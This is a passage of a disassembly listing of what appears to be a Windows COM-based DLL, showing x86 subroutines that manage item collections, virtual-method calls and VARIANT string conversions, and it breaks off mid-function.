arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ecx+44h]
		test	edx, edx
		jz	short loc_69B791F3
		cmp	[ebp+arg_8], 0
		jz	short loc_69B791D1
		push	[ebp+arg_4]
		mov	eax, [edx]
		push	[ebp+arg_0]
		push	edx
		call	dword ptr [eax+1Ch]
		test	eax, eax
		jz	short loc_69B791F3
		push	eax
		call	sub_69B2E8B8
		jmp	short loc_69B791F3
; ---------------------------------------------------------------------------


loc_69B791D1:				; CODE XREF: sub_69B791A9+Ej
		mov	eax, [ecx+38h]
		push	esi
		lea	esi, [eax+1]
		cmp	[ebp+arg_0], esi
		mov	esi, [ebp+arg_4]
		jg	short loc_69B791E5
		add	eax, esi
		mov	[ecx+38h], eax


loc_69B791E5:				; CODE XREF: sub_69B791A9+35j
		add	[ecx+34h], esi
		mov	eax, [edx]
		push	esi
		push	[ebp+arg_0]
		push	edx
		call	dword ptr [eax+20h]
		pop	esi


loc_69B791F3:				; CODE XREF: sub_69B791A9+8j
					; sub_69B791A9+1Ej ...
		pop	ebp
		retn	0Ch
sub_69B791A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B791F7	proc near		; CODE XREF: sub_69B78A78+236p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ecx+44h]
		test	esi, esi
		jz	short loc_69B79257
		cmp	[ebp+arg_8], 0
		jz	short loc_69B79220
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	[ebp+arg_0]
		push	esi
		call	dword ptr [eax+14h]
		test	eax, eax
		jz	short loc_69B79257
		push	eax
		call	sub_69B2E8B8
		jmp	short loc_69B79257
; ---------------------------------------------------------------------------


loc_69B79220:				; CODE XREF: sub_69B791F7+Fj
		mov	eax, [ecx+38h]
		mov	edx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		lea	edi, [eax+1]
		cmp	ebx, edi
		jg	short loc_69B79248
		lea	ebx, [ebx+edx-1]
		cmp	ebx, edi
		jge	short loc_69B79241
		sub	eax, edx
		mov	[ecx+38h], eax
		jmp	short loc_69B79248
; ---------------------------------------------------------------------------


loc_69B79241:				; CODE XREF: sub_69B791F7+41j
		mov	dword ptr [ecx+38h], 0FFFFFFF6h


loc_69B79248:				; CODE XREF: sub_69B791F7+39j
					; sub_69B791F7+48j
		sub	[ecx+34h], edx
		mov	eax, [esi]
		push	edx
		push	[ebp+arg_0]
		push	esi
		call	dword ptr [eax+18h]
		pop	edi
		pop	ebx


loc_69B79257:				; CODE XREF: sub_69B791F7+9j
					; sub_69B791F7+1Fj ...
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B791F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7925C	proc near		; CODE XREF: sub_69B79286+4p
					; sub_69B794F9+8p

arg_0		= dword	ptr  4

		mov	ecx, [ecx+48h]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_69B79283
		mov	edx, [ecx+8]
		lea	eax, [ecx+0Ch]
		jmp	short loc_69B79279
; ---------------------------------------------------------------------------


loc_69B7926D:				; CODE XREF: sub_69B7925C+1Fj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_69B7927D
		dec	edx
		add	eax, 8


loc_69B79279:				; CODE XREF: sub_69B7925C+Fj
		test	edx, edx
		jg	short loc_69B7926D


loc_69B7927D:				; CODE XREF: sub_69B7925C+17j
		test	edx, edx
		jnz	short locret_69B79283
		xor	eax, eax

locret_69B79283:			; CODE XREF: sub_69B7925C+7j
					; sub_69B7925C+23j
		retn	4
sub_69B7925C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79286	proc near		; CODE XREF: sub_69B78A78+16Bp
					; sub_69B79B41+123p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		call	sub_69B7925C
		test	eax, eax
		jz	short loc_69B792A3
		mov	eax, [eax+4]
		push	[esp+arg_0]
		mov	ecx, eax
		call	sub_69B1980A
		jmp	short locret_69B792A5
; ---------------------------------------------------------------------------


loc_69B792A3:				; CODE XREF: sub_69B79286+Bj
		xor	eax, eax

locret_69B792A5:			; CODE XREF: sub_69B79286+1Bj
		retn	8
sub_69B79286	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B792A8	proc near		; DATA XREF: .text:69B14490o
					; .text:69B14888o
		push	8
		pop	eax
		retn
sub_69B792A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B792AC	proc near		; CODE XREF: sub_69B79A18+53p

arg_0		= dword	ptr  4

		mov	eax, [ecx+48h]
		test	eax, eax
		jz	short locret_69B792D4
		mov	ecx, [eax+8]
		test	ecx, ecx
		jle	short locret_69B792D4
		push	esi
		push	edi
		lea	esi, [eax+10h]
		mov	edi, ecx


loc_69B792C1:				; CODE XREF: sub_69B792AC+24j
		push	[esp+8+arg_0]
		mov	ecx, [esi]
		call	sub_69B17DC6
		add	esi, 8
		dec	edi
		jnz	short loc_69B792C1
		pop	edi
		pop	esi

locret_69B792D4:			; CODE XREF: sub_69B792AC+5j
					; sub_69B792AC+Cj
		retn	4
sub_69B792AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B792D7	proc near		; CODE XREF: sub_69B794F9+46p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		lea	eax, ds:10h[ebx*8]
		push	eax
		mov	edi, ecx
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], ebx
		call	sub_69B19118
		push	0
		push	edi
		mov	dword ptr [esi], offset	off_69B14458
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B792D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79316	proc near		; DATA XREF: .text:69B144A4o

arg_0		= byte ptr  4

		sub	ecx, 0Ch
		jmp	sub_69B7963E
sub_69B79316	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7931E	proc near		; DATA XREF: .text:69B144A8o
		sub	ecx, 0Ch
		jmp	sub_69B1B57D
sub_69B7931E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79326	proc near		; DATA XREF: .text:69B144ACo
		sub	ecx, 0Ch
		jmp	sub_69B1BF60
sub_69B79326	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7932E	proc near		; DATA XREF: .text:69B144B0o
		sub	ecx, 0Ch
		jmp	sub_69B186A8
sub_69B7932E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79336	proc near		; CODE XREF: sub_69B79659+98p
					; sub_69B79731+71p ...
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Bh
		push	edi
		mov	edi, eax
		jg	short loc_69B79349
		call	sub_69B2E6D8


loc_69B79349:				; CODE XREF: sub_69B79336+Cj
		mov	eax, [edi+78h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		jnz	short loc_69B7937B
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Ah
		mov	edi, eax
		jg	short loc_69B7936D
		call	sub_69B2E6D8


loc_69B7936D:				; CODE XREF: sub_69B79336+30j
		mov	eax, [edi+74h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]


loc_69B7937B:				; CODE XREF: sub_69B79336+23j
		pop	edi
		retn
sub_69B79336	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7937D	proc near		; CODE XREF: sub_69B7963E+3p
		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+48h]
		lea	edi, [esi+0Ch]
		push	eax
		mov	dword ptr [esi], offset	off_69B14500
		mov	dword ptr [edi], offset	off_69B14498
		call	sub_69B17230
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		mov	ecx, edi
		call	sub_69B18700
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B7937D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7940C	proc near		; CODE XREF: sub_69B79636+3j
					; DATA XREF: .text:69B14534o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B7940C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79422	proc near		; DATA XREF: .text:69B144F0o

arg_0		= dword	ptr  4

		lea	eax, [ecx+38h]
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jnz	short locret_69B79435
		push	0
		push	eax
		call	sub_69B17320

locret_69B79435:			; CODE XREF: sub_69B79422+9j
		retn	4
sub_69B79422	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79438	proc near		; CODE XREF: sub_69B79458+58p
					; sub_69B79659+C3p ...
		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		lea	ecx, [esi+24h]
		call	sub_69B4D414
		push	0
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		or	dword ptr [esi+38h], 0FFFFFFFFh
		pop	esi
		retn
sub_69B79438	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B79458	proc near		; CODE XREF: sub_69B79731+26p
					; sub_69B79A18+36p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		mov	eax, [esi+38h]
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jz	loc_69B794F0
		cmp	dword ptr [esi+20h], 0
		push	edi
		jz	short loc_69B794AE
		lea	ecx, [ebx-2]
		cmp	eax, ecx
		jnz	short loc_69B794AE
		lea	edi, [esi+24h]
		mov	edx, [edi]
		test	edx, edx
		jz	short loc_69B794A9
		mov	ecx, [esi+14h]
		mov	eax, [esi+28h]
		mov	ebx, [ecx]
		push	edx
		push	0
		push	eax
		call	dword ptr [ebx+98h]
		push	eax
		push	edi
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+20h]
		call	sub_69B4D414


loc_69B794A9:				; CODE XREF: sub_69B79458+2Dj
		inc	dword ptr [esi+38h]
		jmp	short loc_69B794EF
; ---------------------------------------------------------------------------


loc_69B794AE:				; CODE XREF: sub_69B79458+1Dj
					; sub_69B79458+24j
		mov	ecx, esi
		call	sub_69B79438
		test	ebx, ebx
		jle	short loc_69B794EF
		lea	edi, [esi+24h]
		mov	[ebp+arg_0], ebx


loc_69B794BF:				; CODE XREF: sub_69B79458+95j
		mov	edx, [edi]
		test	edx, edx
		jz	short loc_69B794E7
		mov	ecx, [esi+14h]
		mov	eax, [esi+28h]
		mov	ebx, [ecx]
		push	edx
		push	0
		push	eax
		call	dword ptr [ebx+98h]
		push	eax
		push	edi
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+20h]
		call	sub_69B4D414


loc_69B794E7:				; CODE XREF: sub_69B79458+6Bj
		inc	dword ptr [esi+38h]
		dec	[ebp+arg_0]
		jnz	short loc_69B794BF


loc_69B794EF:				; CODE XREF: sub_69B79458+54j
					; sub_69B79458+5Fj
		pop	edi


loc_69B794F0:				; CODE XREF: sub_69B79458+12j
		mov	eax, [esi+20h]
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_69B79458	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B794F9	proc near		; CODE XREF: sub_69B79B41+186p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		push	[esp+8+arg_4]
		mov	edi, ecx
		call	sub_69B7925C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B79573
		lea	esi, [edi+48h]
		mov	ecx, [esi]
		test	ecx, ecx
		push	ebx
		jnz	short loc_69B79538
		push	18h
		xor	ebx, ebx
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 1
		call	sub_69B19118
		mov	dword ptr [edi], offset	off_69B14458
		push	edi
		jmp	short loc_69B79545
; ---------------------------------------------------------------------------


loc_69B79538:				; CODE XREF: sub_69B794F9+1Bj
		mov	ebx, [ecx+8]
		lea	eax, [ebx+1]
		push	eax
		call	sub_69B792D7
		push	eax


loc_69B79545:				; CODE XREF: sub_69B794F9+3Dj
		push	esi
		call	sub_69B17320
		mov	esi, [esi]
		push	ebx
		mov	ecx, esi
		call	sub_69B79148
		push	0
		mov	esi, eax
		mov	eax, [esp+10h+arg_4]
		push	1
		push	5
		mov	[esi], eax
		call	sub_69B315DA
		push	eax
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		pop	ebx


loc_69B79573:				; CODE XREF: sub_69B794F9+11j
		push	[esp+8+arg_8]
		mov	ecx, [esi+4]
		push	[esp+0Ch+arg_0]
		call	sub_69B3182D
		pop	edi
		pop	esi
		retn	0Ch
sub_69B794F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79588	proc near		; CODE XREF: sub_69B773BE+4Bp
					; sub_69B79588+79p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	ebx, ebx
		lea	edi, [esi+2Ch]
		push	ebp


loc_69B79593:				; CODE XREF: sub_69B79588+31j
		mov	eax, [edi]
		mov	ecx, [esi+14h]
		mov	edx, [esi+28h]
		mov	ebp, [ecx]
		push	eax
		push	0
		push	edx
		call	dword ptr [ebp+98h]
		test	eax, eax
		jz	short loc_69B795BB
		test	byte ptr [eax+0Ah], 1
		jz	short loc_69B795BB
		push	eax
		push	edi
		inc	ebx
		call	sub_69B17320
		jmp	short loc_69B79593
; ---------------------------------------------------------------------------


loc_69B795BB:				; CODE XREF: sub_69B79588+21j
					; sub_69B79588+27j
		test	ebx, ebx
		pop	ebp
		jle	short loc_69B795D6
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_69B795D3
		mov	edx, [esi+34h]
		mov	ecx, [eax]
		push	ebx
		inc	edx
		push	edx
		push	eax
		call	dword ptr [ecx+24h]


loc_69B795D3:				; CODE XREF: sub_69B79588+3Dj
		add	[esi+34h], ebx


loc_69B795D6:				; CODE XREF: sub_69B79588+36j
		mov	esi, [esi+48h]
		test	esi, esi
		jz	short loc_69B79617
		mov	eax, [esi+8]
		test	eax, eax
		jle	short loc_69B79617
		lea	edi, [esi+10h]
		mov	ebx, eax


loc_69B795E9:				; CODE XREF: sub_69B79588+8Dj
		mov	eax, [edi]
		push	1
		push	eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B79606
; ---------------------------------------------------------------------------


loc_69B795F7:				; CODE XREF: sub_69B79588+87j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ecx, [eax+10h]
		call	sub_69B79588


loc_69B79606:				; CODE XREF: sub_69B79588+6Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B795F7
		add	edi, 8
		dec	ebx
		jnz	short loc_69B795E9


loc_69B79617:				; CODE XREF: sub_69B79588+53j
					; sub_69B79588+5Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B79588	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7961B	proc near		; DATA XREF: .text:69B14494o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [eax]
		mov	ecx, [esp+arg_0]
		mov	[ecx], edx
		push	dword ptr [eax+4]
		add	ecx, 4
		push	ecx
		call	sub_69B17320
		retn	8
sub_69B7961B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79636	proc near		; DATA XREF: .text:69B144CCo
		sub	ecx, 0Ch
		jmp	sub_69B7940C
sub_69B79636	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7963E	proc near		; CODE XREF: sub_69B79316+3j
					; DATA XREF: .text:69B1450Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B7937D
		test	[esp+4+arg_0], 1
		jz	short loc_69B79653
		push	esi
		call	sub_69B1829F


loc_69B79653:				; CODE XREF: sub_69B7963E+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7963E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B79659	proc near		; CODE XREF: sub_69B782DC+10Fp
					; sub_69B79B41+153p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_69B18654
		lea	esi, [edi+0Ch]
		mov	ecx, esi
		call	sub_69B1818F
		push	[ebp+arg_0]
		mov	dword ptr [esi], offset	off_69B14498
		mov	dword ptr [edi], offset	off_69B14500
		xor	esi, esi
		lea	ebx, [edi+10h]
		mov	[ebx], esi
		mov	[edi+14h], esi
		mov	[edi+18h], esi
		mov	[edi+1Ch], esi
		mov	[edi+20h], esi
		mov	[edi+24h], esi
		mov	[edi+28h], esi
		mov	[edi+2Ch], esi
		mov	[edi+3Ch], esi
		mov	[edi+40h], esi
		mov	[edi+44h], esi
		push	ebx
		mov	[edi+48h], esi
		call	sub_69B17320
		push	[ebp+arg_4]
		lea	eax, [edi+14h]
		push	eax
		call	sub_69B17320
		push	[ebp+arg_8]
		lea	eax, [edi+18h]
		push	eax
		call	sub_69B17320
		push	[ebp+arg_C]
		lea	eax, [edi+1Ch]
		push	eax
		call	sub_69B17320
		push	[ebp+arg_10]
		lea	eax, [edi+40h]
		push	eax
		call	sub_69B2DEB2
		mov	al, [ebp+arg_14]
		mov	[edi+4Ch], al
		mov	eax, [ebx]
		cmp	dword ptr [eax+40h], 4
		jnz	short loc_69B796EE
		mov	[edi+30h], esi


loc_69B796EE:				; CODE XREF: sub_69B79659+90j
		mov	esi, [edi+1Ch]
		call	sub_69B79336
		push	eax
		lea	esi, [edi+3Ch]
		push	esi
		call	sub_69B17320
		mov	eax, [esi]
		push	dword ptr [eax+8]
		lea	eax, [edi+28h]
		push	eax
		call	sub_69B17320
		lea	eax, [edi+14h]
		push	eax
		lea	ecx, [edi+2Ch]
		call	sub_69B4D414
		mov	ecx, edi
		call	sub_69B79438
		mov	ecx, edi
		call	sub_69B79588
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
sub_69B79659	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79731	proc near		; DATA XREF: .text:69B144E0o
		push	38h
		push	offset dword_69B79A00
		call	sub_69B19C5C
		mov	edi, ecx
		cmp	byte ptr [edi+40h], 0
		jz	short loc_69B7974F
		push	80004005h
		call	sub_69B2E8B8


loc_69B7974F:				; CODE XREF: sub_69B79731+12j
		lea	esi, [edi-0Ch]
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B79458
		cmp	dword ptr [edi+14h], 0
		jnz	short loc_69B7976C
		push	80004005h
		call	sub_69B2E8B8


loc_69B7976C:				; CODE XREF: sub_69B79731+2Fj
		mov	eax, [edi+10h]
		mov	ecx, [ebp+0Ch]
		dec	ecx
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_69B790A4
		mov	esi, eax
		mov	eax, dword_69B95A84
		mov	ebx, eax
		cmp	dword ptr [eax+8], 18h
		jg	short loc_69B79790
		call	sub_69B2E6D8


loc_69B79790:				; CODE XREF: sub_69B79731+58j
		mov	ebx, [ebx+6Ch]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, ebx
		jnz	loc_69B799F7
		call	sub_69B79336
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_69B799F7
		mov	eax, dword_69B95A84
		mov	[ebp-1Ch], eax
		cmp	dword ptr [eax+8], 1Dh
		jg	short loc_69B797C4
		call	sub_69B2E6D8


loc_69B797C4:				; CODE XREF: sub_69B79731+8Cj
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+80h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		jz	short loc_69B79838
		lea	eax, [ebp-2Ch]
		push	eax		; pvarg
		call	VariantInit
		push	8		; vt
		push	1		; wFlags
		call	ds:GetSystemDefaultLCID	; GetSystemDefaultLCID
		push	eax		; lcid
		lea	eax, [ebp+14h]
		push	eax		; pvarSrc
		lea	eax, [ebp-2Ch]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jnz	loc_69B799F1
		mov	edi, [edi+14h]
		and	[ebp-4], eax
		push	eax		; int
		push	dword ptr [ebp-24h] ; lpString
		mov	ecx, edi
		call	sub_69B4CD61
		lea	eax, [ebp-2Ch]
		push	eax		; pvarg
		call	VariantClear
		jmp	loc_69B799CE
; ---------------------------------------------------------------------------


loc_69B79827:				; DATA XREF: .text:69B79A04o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B79830:				; DATA XREF: .text:69B79A08o
		lea	eax, [ebp-2Ch]
		jmp	loc_69B799E0
; ---------------------------------------------------------------------------


loc_69B79838:				; CODE XREF: sub_69B79731+A9j
		mov	eax, dword_69B95A84
		mov	[ebp-30h], eax
		cmp	dword ptr [eax+8], 1Ch
		jg	short loc_69B7984B
		call	sub_69B2E6D8


loc_69B7984B:				; CODE XREF: sub_69B79731+113j
		mov	eax, [ebp-30h]
		mov	eax, [eax+7Ch]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		jz	short loc_69B798AA
		cmp	dword ptr [ebp+10h], 1
		jz	short loc_69B7988E
		cmp	word ptr [ebp+14h], 8
		jz	short loc_69B7988E
		cmp	dword ptr [ebp+10h], 0
		jnz	loc_69B799F7
		mov	ecx, [edi+14h]
		mov	eax, [ecx]
		lea	edx, [ebp+14h]
		push	edx
		push	dword ptr [ebx+8]
		call	dword ptr [eax+0CCh]
		jmp	loc_69B799F7
; ---------------------------------------------------------------------------


loc_69B7988E:				; CODE XREF: sub_69B79731+133j
					; sub_69B79731+13Aj
		push	dword ptr [ebp+1Ch] ; lpString
		call	sub_69B1A587
		mov	ecx, [edi+14h]
		mov	edx, [ecx]
		push	eax
		push	dword ptr [ebx+8]
		call	dword ptr [edx+0ACh]
		jmp	loc_69B799F7
; ---------------------------------------------------------------------------


loc_69B798AA:				; CODE XREF: sub_69B79731+12Dj
		mov	eax, [ebx+8]
		mov	ecx, [edi+14h]
		push	eax
		push	ecx
		lea	ecx, [edi-0Ch]
		call	sub_69B790D2
		mov	esi, eax
		xor	eax, eax
		cmp	esi, eax
		jnz	short loc_69B798DD
		mov	ecx, [edi+4]
		push	1
		push	eax
		push	eax
		push	ebx
		push	eax
		call	sub_69B3D2F2
		mov	esi, eax
		mov	ecx, [edi+14h]
		mov	eax, [ecx]
		push	0
		push	esi
		call	dword ptr [eax+7Ch]


loc_69B798DD:				; CODE XREF: sub_69B79731+18Fj
		test	esi, esi
		jz	loc_69B799F7
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B8h]
		test	al, al
		mov	eax, [esi]
		jz	short loc_69B79906


loc_69B798F5:				; CODE XREF: sub_69B79731+250j
		lea	ecx, [ebp+14h]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+0C4h]
		jmp	loc_69B799F7
; ---------------------------------------------------------------------------


loc_69B79906:				; CODE XREF: sub_69B79731+1C2j
		mov	ecx, esi
		call	dword ptr [eax+70h]
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7992E
		mov	ecx, [edi+4]
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	edi
		call	sub_69B3D2F2
		mov	edx, [esi]
		push	ebx
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+7Ch]
		mov	eax, edi
		jmp	short loc_69B79931
; ---------------------------------------------------------------------------


loc_69B7992E:				; CODE XREF: sub_69B79731+1DEj
		xor	edi, edi
		inc	edi


loc_69B79931:				; CODE XREF: sub_69B79731+1FBj
		cmp	eax, edi
		jnz	loc_69B799F7
		mov	eax, [esi]
		lea	ecx, [ebp-34h]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+68h]
		mov	esi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	eax, edi
		jnz	loc_69B799F7
		cmp	word ptr [ebp+14h], 8
		jnz	short loc_69B79971
		push	dword ptr [ebp+1Ch] ; lpString
		call	sub_69B1A587
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+5Ch]
		jmp	loc_69B799F7
; ---------------------------------------------------------------------------


loc_69B79971:				; CODE XREF: sub_69B79731+229j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B8h]
		test	al, al
		jz	short loc_69B79986
		mov	eax, [esi]
		jmp	loc_69B798F5
; ---------------------------------------------------------------------------


loc_69B79986:				; CODE XREF: sub_69B79731+24Cj
		lea	eax, [ebp-44h]
		push	eax		; pvarg
		call	VariantInit
		push	8		; vt
		push	edi		; wFlags
		call	ds:GetSystemDefaultLCID	; GetSystemDefaultLCID
		push	eax		; lcid
		lea	eax, [ebp+14h]
		push	eax		; pvarSrc
		lea	eax, [ebp-44h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		cmp	eax, ebx
		jnz	short loc_69B799F1
		mov	[ebp-4], edi
		push	dword ptr [ebp-3Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-48h], eax
		lea	eax, [ebp-44h]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [esi]
		push	dword ptr [ebp-48h]
		mov	ecx, esi
		call	dword ptr [eax+5Ch]


loc_69B799CE:				; CODE XREF: sub_69B79731+F1j
					; sub_69B79731+2BEj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B799F7
; ---------------------------------------------------------------------------


loc_69B799D4:				; DATA XREF: .text:69B79A10o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B799DD:				; DATA XREF: .text:69B79A14o
		lea	eax, [ebp-44h]


loc_69B799E0:				; CODE XREF: sub_69B79731+102j
		mov	esp, [ebp-18h]
		push	eax		; pvarg
		call	VariantClear
		call	sub_69B2E860
		jmp	short loc_69B799CE
; ---------------------------------------------------------------------------


loc_69B799F1:				; CODE XREF: sub_69B79731+D0j
					; sub_69B79731+279j
		push	eax
		call	sub_69B2E8B8


loc_69B799F7:				; CODE XREF: sub_69B79731+6Bj
					; sub_69B79731+7Aj ...
		call	sub_69B1853C
		retn	1Ch
sub_69B79731	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B79A00	dd 0FFFFFFFFh			dd offset loc_69B79827
		dd offset loc_69B79830
		dd 0FFFFFFFFh
		dd offset loc_69B799D4
		dd offset loc_69B799DD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B79A18	proc near		; DATA XREF: .text:69B144E4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+40h], 0
		jz	short loc_69B79A33
		push	80004005h
		call	sub_69B2E8B8


loc_69B79A33:				; CODE XREF: sub_69B79A18+Fj
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, ecx
		cmp	ecx, eax
		jge	short loc_69B79A77
		push	ebx
		sub	eax, ecx
		push	edi
		lea	edi, [esi-0Ch]
		mov	[ebp+arg_4], eax


loc_69B79A49:				; CODE XREF: sub_69B79A18+5Bj
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_69B79458
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B79A70
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		inc	[ebp+var_4]
		push	ebx
		call	dword ptr [eax+84h]
		push	ebx
		mov	ecx, edi
		call	sub_69B792AC


loc_69B79A70:				; CODE XREF: sub_69B79A18+3Fj
		dec	[ebp+arg_4]
		jnz	short loc_69B79A49
		pop	edi
		pop	ebx


loc_69B79A77:				; CODE XREF: sub_69B79A18+25j
		lea	ecx, [esi-0Ch]
		call	sub_69B79438
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn	8
sub_69B79A18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B79A87	proc near		; DATA XREF: .text:69B144E8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+40h], 0
		push	edi
		jz	short loc_69B79A9F
